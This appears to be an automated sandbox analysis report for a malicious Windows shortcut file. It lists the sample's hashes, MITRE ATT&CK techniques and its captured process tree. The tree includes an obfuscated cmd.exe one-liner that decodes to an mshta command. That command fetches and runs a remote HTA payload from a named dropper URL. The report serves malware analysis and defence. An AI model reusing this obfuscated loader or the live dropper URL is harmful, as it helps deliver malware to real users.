6693b3b95b121512fb5074ecc599819262e2d860e1227a8a0cae8e922fec2df6

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:23

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General

Target
DOC-OC7SLE.lnk
Size 2KB
Sample260804-j98fsszzdt
SHA256 6693b3b95b121512fb5074ecc599819262e2d860e1227a8a0cae8e922fec2df6
MD5 39dae5e030258cd4a635d58b3bd77d9c
SHA1 5f1a4b06af26283067d856ab83e74788279242b9
SHA512 c04eac2f17533cedc9fc89e37bc4e3a45f508a814c577c94a48cfe462c059c9513f8641b946ca72b277fdfe3c00502cd1613cfb05c15344a22aff4b9fa6866ab
TLSH
T1F94104803AEE45D9F2BA8E36D9FE2715887FB9A16DA1C58E0850814D0422B01D977F6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4872	cmd.exe
4368	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4872 wrote to memory of 4368	4872	cmd.exe	88
PID 4368 wrote to memory of 4844	4368	cmd.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-OC7SLE.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4872
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set rt=4msh2&&set oxk=72rtaq&&set ZRoN=txksr&&set drXte=k0tar0q&&set kcAa=ntgz&&set Rjb=cachetkxhdnkinswmeugdzcache&&set BWhNs=tmpxyehdeqqmpttmp&&set LaRi=logviimecxlog&&set rv=tmpdxkaoowrngvdptptmp&&set bgulh=cfgfqbpndnbcfg&&set MlgR=dbgkcskadbg&&set afusm=oldqkphtzabold&&set YTpuY=wingvlgmmwoonvrmqmttwin&&set sUjr=winivpzvpbyjqvwzixwin&&set qgyc=h@ttps@://@m@a-@pdf@fil@le@r.@l@at/h@/est@ag@[email protected]?r@=@3914@6@9F@B@5D82@DB&&start /b !rt:~1,3!!oxk:~3,2! !qgyc:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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